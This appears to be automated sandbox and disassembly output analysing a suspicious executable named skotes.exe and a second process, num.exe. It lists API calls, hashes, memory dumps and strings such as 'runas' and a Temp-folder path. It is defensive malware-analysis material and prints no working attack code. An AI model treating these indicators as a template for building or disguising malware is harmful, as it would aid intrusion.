Instruction Fuzzy Hash: 1D21B37160020AEBC704DF28C881FA5F7F9BB54725F14D2A6D4094B542D731E999CB90

Function 0017A7C8 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,001775FB,00142247), ref: 0017A7CD
_free.LIBCMT ref: 0017A82A
_free.LIBCMT ref: 0017A860
SetLastError.KERNEL32(00000000,00000006,000000FF,?,001775FB,00142247), ref: 0017A86B

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d12c298e4327686745a8de09a850b8d9931e818a787f21e888c54593b93c0f3c
Instruction ID: 6e89ef7b8cdd2d8036cfb37cb1bb4786619f2cb0f6571fe9f9cf580ce2f01a38
Opcode Fuzzy Hash: d12c298e4327686745a8de09a850b8d9931e818a787f21e888c54593b93c0f3c
Instruction Fuzzy Hash: 3611E5322042006ED71523B99CC5E2F217DEFD1776BA5C225F62E866E2EF328C934513

Function 0015F2ED Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0015F30F

Part of subcall function 0015F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00165486

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0015F330

Part of subcall function 001601B2: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 001601CE

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 0015F34C
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 0015F353

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Timer$Scheduler$Base::LibraryLoadQueue$AsyncConcurrency::details::platform::__ContextCreateCurrentDefaultReferenceRegisterShared
String ID:
API String ID: 1684785560-0
Opcode ID: 45c2d9496e539670f653b15717ed77aecfabc9f61ed639a17592c84c57453b65
Instruction ID: 595b6b77a4ff6022831972a57bdee4a8dce94e3308c49b22148b405edf7baa75
Opcode Fuzzy Hash: 45c2d9496e539670f653b15717ed77aecfabc9f61ed639a17592c84c57453b65
Instruction Fuzzy Hash: FF01C4B1500305EBEB20AF68CC8585BBBA8FF21355B10853EFC659A181D770DA0AC7A1

Function 001733C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001733DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 001733EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00173407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0017341F

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 2bef635201dece5088d6a5067da6ef2df60581a3819cac134463170201fc0f8c
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: B701DB32700514A7CF1AEE558841EAFB7B99F54350F104055FC2AAB242DB71EE10A7A0

Function 0017B83B Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,0017B9A0,00000000,?,00181FAB,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 0017B851
GetLastError.KERNEL32(?,00181FAB,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,0017B9A0,00000000,00000104,?), ref: 0017B85B
__dosmaperr.LIBCMT ref: 0017B862

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: ac872d314a92eb3ba2d6543ce1cb72fdc4c5004f057786a7c263a9da5f924363
Instruction ID: a483340e3391a1c53a37e464d23ea4653fd33e6848069443c9aca532d51727d0
Opcode Fuzzy Hash: ac872d314a92eb3ba2d6543ce1cb72fdc4c5004f057786a7c263a9da5f924363
Instruction Fuzzy Hash: DEF06932608115BB8B216FA2DC48A4ABF7DFF543A0710C122F52DC6920D731E860CBD1

Function 0017B8A4 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,0017B9A0,00000000,?,00181F36,00000000,00000000,0017B9A0,?,?,00000000,00000000,00000001), ref: 0017B8BA
GetLastError.KERNEL32(?,00181F36,00000000,00000000,0017B9A0,?,?,00000000,00000000,00000001,00000000,00000000,?,0017B9A0,00000000,00000104), ref: 0017B8C4
__dosmaperr.LIBCMT ref: 0017B8CB

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 0b3b25c5bd2581cba1ab741f8ac6d5667a4b15623ba02ed90a307fc15e3334f2
Instruction ID: a36aa57f02de83db68665aa504c583ad96fa7c987305b0f78d473849e0eec3f8
Opcode Fuzzy Hash: 0b3b25c5bd2581cba1ab741f8ac6d5667a4b15623ba02ed90a307fc15e3334f2
Instruction Fuzzy Hash: 4AF06D32608116BF8B215BA6DC48A56BF79FF583A0704C511FA2DC6520D731E860C7D0

Function 00165005 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0015FF66: TlsGetValue.KERNEL32(?,?,0015F4E7,0015F314,?,?), ref: 0015FF6C

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 0016502F

Part of subcall function 0016E30E: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0016E335
Part of subcall function 0016E30E: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0016E34E
Part of subcall function 0016E30E: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0016E3C4
Part of subcall function 0016E30E: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0016E3CC

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 0016503D
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00165047
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00165051

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWork
String ID:
API String ID: 2616382602-0
Opcode ID: 722ac865f223bd74a7ab019dc49aa8908f2a8aed5197cff2efe15a3dbc46075d
Instruction ID: 9801674778d666802c54b528c9b7fc12f23adc5c10663217600636c786066594
Opcode Fuzzy Hash: 722ac865f223bd74a7ab019dc49aa8908f2a8aed5197cff2efe15a3dbc46075d
Instruction Fuzzy Hash: 00F02B3160092967CF25B765CC1286EFB6A9FA1710F00012AF81157252DF31CE35CBC1

Function 00169510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00169519

Part of subcall function 0015F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00165486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0016953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00169550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00169559

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 286b84610833cc548c653b23f9a84c5695ef3105fb3579eb3866e9586b336a7e
Instruction ID: 3849ebbcf2e74f48fb013a44f6117b7ddfa587aec49cc5a3752cf05a4ecdda1c
Opcode Fuzzy Hash: 286b84610833cc548c653b23f9a84c5695ef3105fb3579eb3866e9586b336a7e
Instruction Fuzzy Hash: 45F0A730601B109FE672AB54CC11F6A23D89F54711F00C41EE41F97282CF34E942CB40

Function 00186ACF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(001487A0,0000000F,0019FB20,00000000,001487A0,?,001851BA,001487A0,00000001,001487A0,001487A0,?,00180095,00000000,?,001487A0), ref: 00186AE6
GetLastError.KERNEL32(?,001851BA,001487A0,00000001,001487A0,001487A0,?,00180095,00000000,?,001487A0,00000000,001487A0,?,001805E9,001487A0), ref: 00186AF2

Part of subcall function 00186AB8: CloseHandle.KERNEL32(FFFFFFFE,00186B02,?,001851BA,001487A0,00000001,001487A0,001487A0,?,00180095,00000000,?,001487A0,00000000,001487A0), ref: 00186AC8

___initconout.LIBCMT ref: 00186B02

Part of subcall function 00186A7A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00186AA9,001851A7,001487A0,?,00180095,00000000,?,001487A0,00000000), ref: 00186A8D

WriteConsoleW.KERNEL32(001487A0,0000000F,0019FB20,00000000,?,001851BA,001487A0,00000001,001487A0,001487A0,?,00180095,00000000,?,001487A0,00000000), ref: 00186B17

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1c6857047258a0181a17985356e908fabf72a517861db13ada769de23b357602
Instruction ID: 8a27d686e3af87b59dbcf5c05cee2e58aaa3f6b95fec39b91b19cb903cd7c26a
Opcode Fuzzy Hash: 1c6857047258a0181a17985356e908fabf72a517861db13ada769de23b357602
Instruction Fuzzy Hash: FDF03036101124BFCF622FA9DC08A9A3F66FB097A5F058012FE1996530C73289A0DF90

Function 0015D199 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,0015D136,00000064), ref: 0015D1BC
RtlLeaveCriticalSection.NTDLL(001A5750), ref: 0015D1C6
WaitForSingleObjectEx.KERNEL32(001A8680,00000000,?,0015D136,00000064,?,75920F00,?,001475ED,001A8680), ref: 0015D1D7
RtlEnterCriticalSection.NTDLL(001A5750), ref: 0015D1DE

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: e56ab3fecda940000fb49e3c9991606735855c7a18fc4abaf97768a7e19e4be8
Instruction ID: 55391c29ef36e4a7285c3b446808975eb5834d0b27b18faf635229a40ac2a53b
Opcode Fuzzy Hash: e56ab3fecda940000fb49e3c9991606735855c7a18fc4abaf97768a7e19e4be8
Instruction Fuzzy Hash: 14E04836549A24FFCB131BD0FC49A9E3F6AEF0A751B444022FA0576570C7615980DBD4

Function 001477B0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 468sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00147A79

Strings

runas, xrefs: 00147303

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: runas
API String ID: 3472027048-4000483414
Opcode ID: 628238bf2cd58624ba6928b3ceab6f358ca9ae2c4fcce81644e15df0a2f41eb8
Instruction ID: 4f1d63bc58ee628b66cf04b62bc573307fb909c03a18fd48fb3243effa25ce74
Opcode Fuzzy Hash: 628238bf2cd58624ba6928b3ceab6f358ca9ae2c4fcce81644e15df0a2f41eb8
Instruction Fuzzy Hash: 1FE16A70A102449BDB08EF78CD86BADBB72EF41314F64824CF815AB3D2DB359A44C791

Function 00179019 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0017905C, 00179099

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2152102331
Opcode ID: bf4b10646ba722c304d560c8d2b9b88e97ff8f9340e69a855493452924b2b80d
Instruction ID: 67ed3499a86ef8b6c422c2a7f731e0c875cf2de15055e0191c6fde52838c931d
Opcode Fuzzy Hash: bf4b10646ba722c304d560c8d2b9b88e97ff8f9340e69a855493452924b2b80d
Instruction Fuzzy Hash: CB41C070A04249AFCB21EF99CC85DAEBBFCEF99310F248066F40897251D7708A84CB50

Function 0015B5D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0015B65E
RaiseException.KERNEL32(?,?,?,?), ref: 0015B683

Part of subcall function 00173B04: RaiseException.KERNEL32(E06D7363,00000001,00000003,0019E3B0,?,?,?,0019E3B0), ref: 00173B64

Part of subcall function 00178BEC: IsProcessorFeaturePresent.KERNEL32(00000017,0017A72D,?,?,0017694A,?,?,?,?,00177661,?), ref: 00178C08

Strings

csm, xrefs: 0015B612

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: e6274fcbf54717ed2ee7fca2a9b1025a95840e7b312d0d4e194377d065e5da52
Instruction ID: b29b93406a0ae0ac103e61514db1309022cd65541bf98b14af1a9587692ae37d
Opcode Fuzzy Hash: e6274fcbf54717ed2ee7fca2a9b1025a95840e7b312d0d4e194377d065e5da52
Instruction Fuzzy Hash: 73216831D01218EFCF24DF99D985AAEB7B9EF14712F544419EC2AAF250DB30AD49CB81

Function 00171704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00171764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001717AF

Strings

pContext, xrefs: 001717A7

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 46ee0630364fe224d75145e400a19f4fc8a582b416a97729b70dd30c9b9577e4
Instruction ID: 4e00bfa4fdc5707ddac020c54d0424b2b28ddbeb07d229484b628e24e9910e4f
Opcode Fuzzy Hash: 46ee0630364fe224d75145e400a19f4fc8a582b416a97729b70dd30c9b9577e4
Instruction Fuzzy Hash: 2811E93AA40214BBCF19EF6CC48556D77B5AF94360B15C065EC1AAB342DB74DD05CBD0

Function 0016B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0016B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0016B961

Strings

pContext, xrefs: 0016B959

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 55489e0c117a38c4e21a706903c864964052babb1788061933bde4b5bc66240b
Instruction ID: 3e1fc3975c86e75139b0eafea758ea9153ea45de974b1ea06068443a992904a5
Opcode Fuzzy Hash: 55489e0c117a38c4e21a706903c864964052babb1788061933bde4b5bc66240b
Instruction Fuzzy Hash: D4E0D83EB40214ABCF04FBA8D849C9DB7B99FD47147048116F925E3391EB70AE45CAD0

Function 001634CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001634FC

Strings

version, xrefs: 001634E1
pScheduler, xrefs: 001634F4

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: ca6222c2a670721e3244ea8fc468511c3cb80dd58e3b01cdc34f9dcf69a06087
Instruction ID: 420bef788f4630658e9429932c6026b68727c3e6f0612315b8a794ee40d5bc0d
Opcode Fuzzy Hash: ca6222c2a670721e3244ea8fc468511c3cb80dd58e3b01cdc34f9dcf69a06087
Instruction Fuzzy Hash: BCE08634480208BACF26FA58CC4BACCB7649B24745F04C115B830110D19FB597E8DAD1

Analysis Process: num.exePID: 1876, Parent PID: 7124COMMON

Execution Graph

Execution Coverage:	14.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	25

Executed Functions

Function 000545C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 000545CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 000545D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 000545E2
